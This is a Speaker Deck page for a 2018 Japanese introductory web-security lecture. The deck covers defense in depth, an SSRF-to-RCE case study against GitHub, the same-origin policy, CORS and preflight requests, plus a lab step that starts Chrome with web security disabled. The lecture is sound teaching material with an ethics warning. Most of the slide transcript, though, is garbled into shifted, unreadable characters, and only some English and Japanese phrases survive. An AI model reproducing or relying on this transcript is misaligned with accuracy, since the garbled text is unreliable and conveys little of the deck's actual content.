Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Web セキュリティ入門 / Introduction to Web Security

Takashi Yoneuchi
November 17, 2018
7.1k

Web セキュリティ入門 / Introduction to Web Security

セキュリティ・ミニキャンプ in 岡山 2018 で使用されたコンテンツです。
誤りがあればぜひツッコミをください!
Twitter: @lmt_swallow, en: @y0n3uchy

演習の殆どはローカル向けのものだったので, 現在はアクセスできません
e.g. ホストが websec.example になっているもの

ただし XSS Challenge に関しては, 以下の URL からお試しいただけます:
https://xss.shift-js.info

Takashi Yoneuchi

November 17, 2018
Tweet

More Decks by Takashi Yoneuchi

Transcript

  1. W
    5BLBTIJ:POFVDIJ

    !MNU@TXBMMPX !ZOVDIZ

    IUUQTTIJGUKTJOGP
    8FCηΩϡϦςΟೖ໳

    ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ

    View Slide

  2. © 2018 shift-js.info All Rights Reserved.
    Takashi Yoneuchi
    ‣ !MNU@TXBMMPX !ZOVDIZ
    ‣ 6OEFSHSBEVBUFBU6OJWPG5PLZP
    ‣ 4UB⒎BU4&$$0/#FHJOOFST
    ‣ 4UB⒎BU4FDVSJUZ$BNQ
    ‣ 4FFIUUQTTIJGUKTJOGP


    View Slide

  3. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    0VUMJOF
    ‣ %FGFOTFJO%FQUIଟ૚๷ޚͱ͍͏ߟ͑ํ
    ‣ ଟ૚๷ޚͱݺ͹ΕΔߟ͑ํʹֶ͍ͭͯͼ·͢
    ‣ #PVOEBSZ8FCϒϥ΢βதͷڥք
    ‣ 8FCϒϥ΢βʹ͓͚Δڥքͷྫͱͯ͠0SJHJOΛֶͼ 

    0SJHJOʹؔ࿈ͨ͠๷ޚػߏʹ͍ͭͯͷϋϯζΦϯΛߦ͍·͢
    ‣ $SPTT4JUF4DSJQUJOH944ͷݪཧ ࣮ફ ରࡦ
    ‣ 944Λڥքͷ؍఺͔Β੔ཧ͠ ࣮ફԋशΛߦ͍·͢
    ‣ 'VUVSF8FCʹ͓͚ΔηΩϡϦςΟڥքͷ՝୊ͱະདྷ
    ‣ ࠷ۙͷ8FCʹ͓͚ΔηΩϡϦςΟͷ࿩Λͬ͘͟Γ੔ཧ͠·͢
    3

    View Slide

  4. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    (PBMT

    ຊߨٛͰ໨ࢦ͢ͱ͜Ζ
    ‣ ֶͼ͍ͨ͜ͱ
    ‣ 8FC4FDVSJUZCZ%FTJHOઃܭ্ͷෆඋΛݟൈ͘ྗ
    ‣ جૅతͳ944ʹؔ͢Δ஌ࣝ
    ‣ ࠷ۙͷ8FCηΩϡϦςΟ ͱΓΘ͚ϒϥ΢βͷηΩϡϦςΟػߏʹؔ͢Δ࿩
    ‣ ߨٛऴྃޙ͍͚ͯͨͩͨ͠Βخ͍͜͠ͱ
    ‣ 8FCηΩϡϦςΟͷ࿩Λ๻ͱҰॹʹ௥͍͔͚ͯ΄͍͠
    ‣ 8FCηΩϡϦςΟ͕޷͖ͱ͍͏ֶੜ͕ݮͬͨΑ͏ͳؾ͕͍ͯ͠Δ
    ‣ 8FCηΩϡϦςΟΛ޷͖ʹͳͬͯ͘ΕͨͳΒ ͱͯ΋خ͍͠
    4

    View Slide

  5. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    $"65*0/

    ஫ҙࣄ߲
    ‣ ྙཧ؍Λେ੾ʹ͍ͯͩ͘͠͞
    ‣ ࠓճԋशͰߦ͏8FCαΠτ΁ͷ߈ܸɾଞऀ΁ͷ߈ܸ͸ ඞͣ͜ͷ
    ؀ڥͷதͰͷΈʹཹΊ ֎෦ѼʹߦΘͳ͍Ͱ͍ͩ͘͞
    ‣ ϩʔΧϧͰͷ࣮ݧʹͱͲ·Βͣ ֎෦ʹ߈ܸΛߦ͏ͷ͸ ๏཯ʹ఍৮͑͠·͢
    5

    View Slide

  6. %FGFOTFJO%FQUI
    ଟ૚๷ޚͱ͍͏ߟ͑ํ

    View Slide

  7. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ଟ૚๷ޚ %FGFOTFJO%FQUI

    ෳ਺ͷ૚ΛॏͶΔ͜ͱͰ΋ͨΒ͞ΕΔ΋ͷ
    7
    l
    %FGFOTFJOEFQUIJTUIFDPODFQUPGQSPUFDUJOHB
    DPNQVUFSOFUXPSLXJUIBTFSJFTPGEFGFOTJWF
    NFDIBOJTNTTVDIUIBUJGPOFNFDIBOJTNGBJMT
    BOPUIFSXJMMBMSFBEZCFJOQMBDFUPUIXBSUBO
    BUUBDL

    4"/4*OTUJUVUF 4"/4*OTUJUVUF*OGP4FD3FBEJOH3PPN 

    IUUQTXXXTBOTPSHSFBEJOHSPPNXIJUFQBQFSTCBTJDTEFGFOTFJOEFQUI

    View Slide

  8. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ਎ۙͳڥք

    Ұൠࣾձʹ͓͚Δྫ
    ‣ ෺ཧతͳڥք͕͋Ε͹ ৘ใͷ΍ΓऔΓ͸ଟগ੍ݶͰ͖Δ
    ‣ ݤ͕ͳ͚Ε͹ೖΕͳ͍
    ‣ ೖΔ͜ͱ͑͢͞Ε͹ग़ΒΕΔ͜ͱ͕ଟ͍
    ‣ ෦԰୯ҐͰೖୀࣨݖݶ؅ཧ΋େ੾ ౰ͨΓલ

    ‣ ήετ༻ͷΧʔυͰࣾ௕ࣨʹೖΕͯ͸͍͚ͳ͍
    8

    View Slide

  9. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ෺ཧతڥք

    ػثࣗମ͕ͭͳ͕͍ͬͯͳ͍
    ‣ ͦ΋ͦ΋ػثࣗମ͕ ௚઀తʹ΋ؒ઀తʹ΋
    ͭͳ͕͍ͬͯͳ͍ͷ
    Ͱ͋Ε͹ ͦͷؒ͸΍ΓͱΓͰ͖ͳ͍
    9

    View Slide

  10. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ࿦ཧతڥք

    ωοτϫʔΫͷྫ
    ‣ ෺ཧతʹ͸ͭͳ͕͍ͬͯͯ΋ ࿦ཧతʹ ਖ਼͘͠
    ੾Γ཭͞Ε͍ͯΕ
    ͹ ͦͷؒ͸΍ΓͱΓͰ͖ͳ͍ ྫ7-"/

    10

    View Slide

  11. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ࿦ཧతڥք

    04಺෦ͷྫ
    ‣ 04ʹ͸ύʔϛογϣϯ؅ཧͷ࢓૊Έ΍ ͦͷଞͷ࿦ཧతڥք
    FH4&-JOVY
    ͕ଘࡏ͍ͯ͠Δ
    11

    View Slide

  12. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ωοτϫʔΫ֎ɾ಺ͷڥք

    *%4 *14 %.;
    ‣ ಺෦ FHࣾ಺
    ωοτϫʔΫ
    ͱΠϯλʔωοτͷؒʹڥք
    Λઃ͚Δ
    ‣ %.;Ͱެ։ྖҬΛ੾Γ෼͚ͨΓ
    ‣ *%4 *OUSVTJPO%FUFDUJPO
    4ZTUFN
    Ͱҟৗ௨৴Λଊ͑ͨΓ
    ‣ *14 *OUSVTJPO1SFWFOUJPO
    4ZTUFN
    Ͱҟৗ௨৴ΛϒϩοΫ
    ͨ͠Γʜ
    12

    View Slide

  13. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ߈ܸऀͷ໨ઢ͔Β

    ޿ٛͷ
    ଟ૚๷ޚΛͲ͏ಥഁ͢Δ͔
    ‣ ௚઀ຊ࣭తͳ৘ใʹ౸ୡͰ͖ͳ͍৔߹͕ଟ͍
    ‣ ͋Δ੬ऑͳՕॴΛى఺ʹ
    ‣ ྫ੬ऑͳϢʔβʔͷೝূ৘ใΛى఺ʹ͢Δ
    ‣ ྫ ෺ཧతPSιϑτ΢ΣΞతʹ
    ੬ऑͳ୺຤Λى఺ʹ͢Δ
    ‣ ྫωοτϫʔΫ֎෦ʹެ։͞Ε͍ͯΔՕॴΛى఺ʹ͢Δ
    ‣ গͣͭ͠ΞΫηεͰ͖ΔൣғΛ޿͛Δ
    ‣ ྫϢʔβʔͷ׆ಈϩάΛ؍࡯ͯ͠ ͦͷ୺຤ɾೝূ৘ใ͔ΒΞΫηεͰ͖Δ
    ৘ใΛ୳ࡧ -"/಺ͷଞͷ੬ऑͳ୺຤Λ୳ࡧ
    ‣ ྫ443' 4FSWFS4JEF3FRVFTU'PSHFSZ
    ΍ 42-*OKFDUJPOͳͲͷ੬ऑੑ
    Λ࢖ͬͯ ωοτϫʔΫ্΍γεςϜ಺Λ୳ࡧ
    13

    View Slide

  14. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ࣄྫ(JU)VC

    3FQPSUCZ0SBOHF5TBJ
    14


    1SPDPUPM4NVHHMJOH
    8FCIPPLૹ৴ػೳ
    ೚ҙ63-΁ͷϦΫΤετൃߦ
    ϩʔΧϧͷผαʔϏεΛൃݟ
    ‣ )*5$0/ͷ0SBOHF5TBJ͞Μ
    ͕ൃݟͨ͠(JU)VCͰͷ3$&

    4FFIUUQTXXXCMBDLIBUDPNEPDTVTUIVSTEBZ
    VT5TBJ"/FX&SB0G443'&YQMPJUJOH63-1BSTFS*O
    5SFOEJOH1SPHSBNNJOH-BOHVBHFTQEG


    ‣ 8FCIPPLͷૹ৴ઌʹ 

    IUUQ ͸
    ͱ౳Ձ
    ͕ઃఆͰ͖ͨ
    ‣ MPDBMIPTUΛ͜ΕΛ༻͍ͯ୳ࡧ
    Ͱ͖Δ ૄ௨νΣοΫ͕Մೳ

    ‣ ݁Ռ൪Ͱ(SBQIJUF͕
    ಈ͍͍ͯΔͷΛൃݟ

    View Slide

  15. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ࣄྫ(JU)VC

    3FQPSUCZ0SBOHF5TBJ
    15
    ϩʔΧϧͷผαʔϏεΛൃݟ
    ͦ͜Ͱ·ͨ೚ҙϦΫΤετൃߦ
    NFNDBDIFEʹ೚ҙσʔλૠೖ
    .BSTIBMͱ૊Έ߹Θͤͯ3$&
    ‣ MPDBMIPTUͷ(SBQIJUFʹର͠
    ͯ$3-'*OKFDUJPOΛࢼΈ Α
    Γࣗ༝ʹϦΫΤετΛૹ৴͢Δ
    ͜ͱ͕Մೳʹͳͬͨ
    ‣ ݁Ռ8FCIPPLͷ݁Ռͱͯ͠
    ೚ҙ஋Λ%#ʹྲྀ͠ࠐΊͨ
    ‣ ͜ΕΛ.BSTIBM σγϦΞϥΠ
    ζػߏ
    ͱ૊Έ߹Θͤ 3$&΁
    ‣ ৄ͘͠͸0SBOHF͞Μͷࢿྉ
    Λࢀরͷ͜ͱ

    View Slide

  16. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ࣄྫ࢈૯ݚ
    ‣ ࢈૯ݚͷ৘ใγεςϜʹର͢Δෆਖ਼ͳΞΫηεʹؔ͢ΔใࠂΑΓҾ༻ ஫

    IUUQTXXXBJTUHPKQQEGBJTU@KUPQJDTUPUPBJTUQEG
    16

    View Slide

  17. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ࣍ʹֶͿ΂͖͜ͱ

    Φεεϝͷॻ੶ɾ࿩୊ɾจॻ
    ‣ ࣍ͷࢿྉதͷ(JU)VCʹ͓͚ΔࣄྫΛݩʹ ͲͷΑ͏ͳ๷ޚϨΠϠ
    ͕͋Ε͹ ͋Δ͍͸ͲͷΑ͏ͳߏ੒Ͱ͋Ε͹
    ҆શͰ͔͋ͬͨΛߟ
    ͑ͯΈ·͠ΐ͏
    ‣ "/FX&SBPG443'&YQMPJUJOH63-1BSTFSJO5SFOEJOH
    1SPHSBNNJOH-BOHVBHFTCZ0SBOHF5TBJ
    ‣ IUUQTXXXCMBDLIBUDPNEPDTVTUIVSTEBZVT5TBJ"
    /FX&SB0G443'&YQMPJUJOH63-1BSTFS*O5SFOEJOH
    1SPHSBNNJOH-BOHVBHFTQEG
    ‣ 443'Λى఺ʹ%FGFOTFJO%FQUIΛ߈ུ͍ͯ͘͠࿩
    17

    View Slide

  18. #PVOEBSZ
    8FCϒϥ΢βதͷڥք

    View Slide

  19. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ΋͠΋ͷ࿩

    ϒϥ΢βͷதʹڥք͕ͳ͔ͬͨΒ
    ‣ ΋͠ϒϥ΢βʹͳΜͷ੍໿΋ͳ͚Ε͹ ߈ܸऀ͸ࣗ਎ͷ᠘ϖʔδʹ
    ༠ಋ͢Δ͚ͩͰ ৘ใ ޙड़
    Λൈ͖ग़ͤΔ
    ‣ FWJMDPN͔ΒFYBNQMFDPNͷϖʔδ಺༰ΛಡΉ
    ‣ FWJMDPN͔ΒFYBNQMFDPNͷMPDBM4UPSBHFΛಡΉ
    19
    http://evil.com
    ޱ࠲൪߸, ࢒ߴ, ॅॴ, ...
    ࣗ༝ͳ৘ใͷ΍ΓͱΓ
    http://example.com

    View Slide

  20. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ຊདྷ͋Δ΂͖࢟

    ϒϥ΢βͷதͷڥք͸Ͳ͏Ҿ͔ΕΔ΂͖͔
    20
    ‣ $SPTT0SJHJOͰͷ੍໿͕ͳ͚Ε͹ ߈ܸऀ͸ࣗ਎ͷ᠘ϖʔδʹ༠
    ಋ͢Δ͚ͩͰ৘ใΛൈ͚Δ
    ‣ FWJMDPN͔ΒFYBNQMFDPNͷϖʔδ಺༰ΛಡΉ
    ‣ FWJMDPN͔ΒFYBNQMFDPNͷMPDBM4UPSBHFΛಡΉ
    evil.com
    ޱ࠲൪߸, ࢒ߴ, ॅॴ, ...
    example.com
    ͜͜ͷڥքΛҾ͖͍ͨ!
    ͜͜ʹڥք͕͋Δ΂͖
    ࣗ༝ͳ৘ใͷ΍ΓͱΓ

    View Slide

  21. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ԿΛ࢖ͬͯڥքΛҾ͔͘

    ϒϥ΢βͷதͷڥք͸Ͳ͏Ҿ͔ΕΔ΂͖͔
    21
    ‣ ߟ͑ͯΈ·͠ΐ͏
    ‣ ڥք͸Ͳ͏Ҿ͘΂͖
    ‣ ཧ۶తʹ͸৘ใ୯Ґ͝ͱʹҾ͖͍ͨ
    ‣ ͨͩݫ͘͠Ҿ͖͗͢ΔͱෆศʹͳΓ͗͢Δ
    ‣ Կ͕࢖͑ͦ͏͔
    ‣ υϝΠϯ໊ ͦͷ͏ͪͲ͜Λ࢖͏͔͸໰୊

    ‣ ໊લղܾͨ͠ޙͷ*1
    ‣ ϙʔτ
    ‣ εΩʔϜ
    ‣ FUD
    ݕࡧΤϯδϯ
    Web ϝʔϥʔ จॻΤσΟλ

    View Slide

  22. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    0SJHJO
    3'$5IF8FC0SJHJO$PODFQU
    ‣ ͋Δ63*ʹ͍ͭͯ ࣍ͷUVQMFΛ0SJHJOͱఆٛ͢Δɻ
    VSJTDIFNF VSJIPTU VSJQPSU

    ‣ VSJTDIFNFεΩʔϜ FHIUUQ IUUQT

    ‣ VSJIPTUϗετ FHFYBNQMFDPN

    ‣ VSJQPSUϙʔτ FH

    ‣ লུ࣌͸VSJTDIFNFʹରԠͨ͠σϑΥϧτϙʔτ͕ࢦఆ͞ΕΔɻ
    22
    IUUQFYBNQMFDPNTPNFQBUI

    View Slide

  23. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    4BNF0SJHJO1PMJDZ

    0SJHJOΛݩʹͯ͠कΔ
    ‣ 4BNF0SJHJO1PMJDZͱ͸ ͋Δ0SJHJOΛ࣋ͭϖʔδɾεΫϦϓ
    τͳͲ͔ΒΞΫηεՄೳͳϦιʔεΛ ࣍ͷΑ͏ʹ੍ݶ͢Δ੍໿
    ‣ ಉ͡0SJHJO 4BNF0SJHJO
    Λ࣋ͭϦιʔεʹ͸ΞΫηεͰ͖Δ
    ‣ ҟͳΔ0SJHJO $SPTT0SJHJO
    Λ࣋ͭϦιʔεʹΞΫηεͰ͖ͳ͍
    ‣ ϦιʔεΛ0SJHJO͝ͱʹִ཭͢Δ 0SJHJO͕ڥք

    ‣ ڥքΛ·͙ͨ $SPTT0SJHJOͳϦιʔεࢀরΛߦ͏
    ͨΊʹ͸ ΞΫηε͞
    ΕΔଆͷϦιʔε͔Βͷ໌ࣔతͳڐՄ͕ඞཁ $034"QQFOEJYࢀর

    23

    View Slide

  24. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    401ʹΑΔ੍໿

    ໛ࣜਤͰ֬ೝ͢Δ
    24
    IUUQBFYBNQMFDPN
    QOH KTPO
    KTPO
    IUUQCFYBNQMFDPN
    {...}
    {...}
    4BNF0SJHJOͰͷ௨৴

    جຊతʹSFTQPOTFͷಡΈग़͠ʹ
    ͸੍໿͕ͳ͍

    View Slide

  25. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    401ʹΑΔ੍໿

    ໛ࣜਤͰ֬ೝ͢Δ
    25
    IUUQBFYBNQMFDPN
    QOH KTPO
    KTPO
    IUUQCFYBNQMFDPN
    {...}
    {...}
    $SPTT0SJHJOͰͷ௨৴

    ී௨ͷ ޙड़
    ϦΫΤετ͸Մೳ
    Ϩεϙϯε͸௨ৗಡΊͳ͍

    View Slide

  26. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    401͕͘ΕΔ΋ͷ
    4BNF0SJHJO1PMJDZʹΑΓಘΒΕΔ݁Ռ
    ‣ 4BNF0SJHJO1PMJDZʹΑΓ ౪Έग़͍ͨ͠σʔλͷ͋Δ0SJHJO
    ͷ֎͔Β͸ ݪଇ
    ͦΕʹΞΫηεͰ͖ͳ͍
    26
    Origin A
    த਎ʹ͸

    ৮ΕΒΕͳ͍
    Origin B

    View Slide

  27. 2VFTUJPO

    4BNF0SJHJO 

    $SPTT0SJHJO

    View Slide

  28. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    2VFTUJPO4BNF0SJHJO
    ࣍ͷ63*͔ͨͪΒ4BNF0SJHJOͳ૊Λબ΅͏
    ‣ IUUQTXXXFYBNQMFDPN
    ‣ IUUQXXXFYBNQMFDPN
    ‣ IUUQUFTUFYBNQMFDPN
    ‣ IUUQTXXXFYBNQMFDPNJOEFYIUNM
    ‣ IUUQTXXXFYBNQMFDPN
    ‣ IUUQTUFTUFYBNQMFDPN
    28

    View Slide

  29. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    2VFTUJPO4BNF0SJHJO
    ࣍ͷ63*͔ͨͪΒ4BNF0SJHJOͳ૊Λબ΅͏
    ‣ IUUQTXXXFYBNQMFDPN
    ‣ IUUQXXXFYBNQMFDPN
    ‣ IUUQUFTUFYBNQMFDPN
    ‣ IUUQTXXXFYBNQMFDPNJOEFYIUNM
    ‣ IUUQTXXXFYBNQMFDPN
    ‣ IUUQTUFTUFYBNQMFDPN
    29

    View Slide

  30. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    /PUFTPO4BNF0SJHJO
    ͍͔ͭ͘ͷ஫ҙ఺
    ‣ ͍͔ͭ͘஫ҙΛཁ͢ΔεΩʔϜ͕͋Δ
    ‣ FHEBUB pMF BCPVU ʜ
    ‣ ੍໿ͷൣғͳͲ ͸͖ͬΓ͠ͳ͍఺
    ‣ 0SJHJOΛܧঝͯ͠UVQMFͳ0SJHJOΛ࣋ͭͷ͔
    ‣ ͋Δ͍͸VOJRVFJEFOUJpFS TFF3'$
    Λ࣋ͭͷ͔
    ‣ ҎԼͷจॻΛಡΉ͜ͱΛקΊ·͢
    ‣ ॏཁʂ·ͣ͸ʮΦϦδϯʯΛཧղ͠Α͏

    IUUQXXXBUNBSLJUDPKQBJUBSUJDMFTOFXT@IUNM
    ‣ 3'$5IF8FC0SJHJO$PODFQU

    IUUQTUPPMTJFUGPSHIUNMSGD
    30

    View Slide

  31. &YFSDJTF

    0SJHJOؔ࿈ͷηΩϡϦςΟ

    ػߏΛ࣮ײ͠Α͏

    View Slide

  32. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    &YFSDJTF401

    4BNF0SJHJO1PMJDZʹΑΔ੍ݶΛମײ͠Α͏
    32
    ࣍ʹΞΫηεͯ͠ମײ͠Α͏ ԋशωοτϫʔΫ্Ͱ

    IUUQXFCTFDFYBNQMFTPQ
    ‣ ·ͣ͸401ΛΦϑʹͨ͠ঢ়ଶͰಈ͔ͯ͠Έ·͠ΐ͏
    ‣ EJTBCMFXFCTFDVSJUZVTFSEBUBEJSΛΦϓγϣϯͱ෇͚
    ͯىಈ͢Δͱ401౳͕ΦϑʹͳΔ
    ‣ .BDPQFOOB(PPHMFa$ISPNFBSHTEJTBCMFXFCTFDVSJUZVTFSEBUBEJS
    ‣ 8JOEPXT8JOEPXT3ˠDISPNFFYFEJTBCMFXFCTFDVSJUZVTFSEBUBEJS
    ‣ ͦͷޙ 401ΛΦϯʹͨ͠ঢ়ଶͰಈ͔ͯ͠Έ·͠ΐ͏

    View Slide

  33. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    %FWFMPQFS5PPMT

    ศར
    ‣ ࠓ೔͸(PPHMF$ISPNF ͋Δ͍͸$ISPNJVN
    ʹ෇ଐͷ
    %FWFMPQFS5PPMTΛ࢖͏ͱศརͳ͜ͱ͕ଟ͍
    ‣ ϖʔδ্ͰӈΫϦοΫˠʮௐࠪʯ PS*OTQFDU
    ΛΫϦοΫͯ͠ىಈ
    ‣ %FWFMPQFS5PPMT͸࣍ͷΑ͏ͳγϣʔτΧοτΩʔͰىಈ͢Δ͜ͱ΋Ͱ͖Δ
    ‣ 8JOEPXTͷ৔߹' ͋Δ͍͸$USM4IJGU*Ͱىಈ

    .BDͷ৔߹$NE0QU*Ͱىಈ
    33

    View Slide

  34. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 34
    8JOEPXT' $USM4IJGU*

    .BD$NE0QU*Ͱىಈ

    View Slide

  35. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ 35
    /FUXPSLλϒͰ)551
    ௨৴ͷ༷ࢠ͕೷͚Δ

    View Slide

  36. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ڍಈΛ֬ೝ͢Δ

    401͕EJTBCMFEͳͱ͖
    ‣ ͋Δ0SJHJO

    IUUQXFCTFDFYBNQMF
    ͔Βผͷ0SJHJO

    IUUQXFCTFDFYBNQMF
    ͷίϯςϯπΛಡΊ͍ͯΔ
    ‣ ྫ͑͹IUUQFWJMDPN͔Β
    IUUQHPPHMFDPNͷίϯς
    ϯπΛಡΊΔ ͱ͍͏͜ͱʜ
    36

    View Slide

  37. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ڍಈΛ֬ೝ͢Δ

    401͕FOBCMFEͳͱ͖
    ‣ ͱҧͬͯBMFSU͕ग़ͳ͍
    ‣ %FWFMPQFS5PPMTͷ$POTPMFλϒΛ։͘ͱΤϥʔ͕ग़͍ͯΔ
    37

    View Slide

  38. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    $034

    $SPTT0SJHJO3FTPVSDF4IBSJOH
    ‣ $SPTT0SJHJOͳϦιʔεࢀরΛڐՄ͢ΔͨΊͷ࢓૊Έ
    ‣ 401ʹΑΓ جຊతʹ͸ͦͷΑ͏ͳϦιʔεࢀর͸ϒϩοΫ͞Ε͍ͯΔ
    ‣ ओʹ0SJHJOϔομ "DDFTT$POUSPM"MMPX0SJHJOϔομ͕ओ໾
    ‣ Ұ෦ͷϦΫΤετͰ͸࣍ͷΑ͏ͳϔομ͕ొ৔͢Δ
    ‣ "DDFTT$POUSPM3FRVFTU.FUIPE
    ‣ "DDFTT$POUSPM3FRVFTU)FBEFST
    ‣ "DDFTT$POUSPM"MMPX0SJHJO
    ‣ "DDFTT$POUSPM"MMPX.FUIPET
    ‣ "DDFTT$POUSPM"MMPX)FBEFST
    ‣ "DDFTT$POUSPM&YQPTF)FBEFST
    ‣ "DDFTT$POUSPM.BY"HF
    38

    View Slide

  39. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ঢ়گઃఆ

    CFYBNQMFDPN͕IUUQBFYBNQMFDPN͔ΒͷಡΈग़͠ΛڐՄ͍ͨ͠ͱ͖
    39
    IUUQBFYBNQMFDPN
    QOH KTPO
    KTPO
    IUUQCFYBNQMFDPN
    {...}
    {...}
    http://evil.example.com

    View Slide

  40. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ୯७ͳϦΫΤετ࣌ͷڍಈ

    CFYBNQMFDPN͕IUUQBFYBNQMFDPN͔ΒͷಡΈग़͠ΛڐՄ͍ͨ͠ͱ͖
    40
    IUUQBFYBNQMFDPN
    QOH KTPO
    KTPO
    IUUQCFYBNQMFDPN
    {...}
    {...}
    http://evil.example.com
    (&5KTPO)551

    0SJHJOIUUQBFYBNQMFDPN

    View Slide

  41. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    Ϩεϙϯε࣌ͷڍಈ

    CFYBNQMFDPN͕IUUQBFYBNQMFDPN͔ΒͷಡΈग़͠ΛڐՄ͍ͨ͠ͱ͖
    41
    IUUQBFYBNQMFDPN
    QOH KTPO
    KTPO
    IUUQCFYBNQMFDPN
    {...}
    {...}
    http://evil.example.com
    )5510,

    "DDFTT$POUSPM"MMPX0SJHJO
    IUUQBFYBNQMFDPN


    ˠϨεϙϯε͕ಡΈग़ͤΔ


    View Slide

  42. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ϓϦϑϥΠτϦΫΤετ

    1SFqJHIU3FRVFTU
    42
    ‣ ࣍ͷΑ͏ͳ௨ৗͷϦΫΤετΒ͘͠ͳ͍ϦΫΤετΛ͢Δ৔߹
    Ѽઌ0SJHJOʹରͯ͠ ͦͷڐՄΛऔͨΊͷϦΫΤετ͕ඈͿ
    ‣ ΧελϜϔομʔΛ͚͍ͭͨ৔߹
    ‣ Α͋͘Δ΋ͷҎ֎ͷ$POUFOU5ZQFΛૹग़͢Δ৔߹
    ‣ (&5 1045 )&"%Ҏ֎ͷϦΫΤετΛ͢Δ৔߹
    ‣ ͜ͷϦΫΤετΛϓϦϑϥΠτϦΫΤετͱݺͿ
    ‣ 015*0/4ϝιουΛ࢖ͬͯϦΫΤετ͕ߦΘΕΔ

    View Slide

  43. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ϓϦϑϥΠτϦΫΤετͷྫ

    1SFqJHIU3FRVFTU
    43
    ‣ 015*0/4ϝιουʹΑΔϓϦϑϥΠτϦΫΤετ͕ൃߦ͞ΕΔ
    ‣ 93&2)&"%&3ͱ͍͏ϔομ෇͖ͷ1045ϦΫΤετΛൃߦͯ͠Α͍
    ͔ͷ໰͍߹Θ͕ͤߦΘΕ͍ͯΔ
    015*0/4KTPO)551

    0SJHJOIUUQBFYBNQMFDPN
    "DDFTT$POUSPM3FRVFTU.FUIPE1045

    "DDFTT$POUSPM3FRVFTU)FBEFST93&2)&"%&3
    BFYBNQMFDPN CFYBNQMFDPN

    View Slide

  44. © 2018 shift-js.info
    WebηΩϡϦςΟೖ໳ ― ߈ܸऀͷૂ͍ΛઌಡΈ͢Δ
    ϓϦϑϥΠτϦΫΤετͷྫ
    3FTQPOTFUP1SFqJHIU3FRVFTU
    44
    BFYBNQMFDPN CFYBNQMFDPN
    )5510,

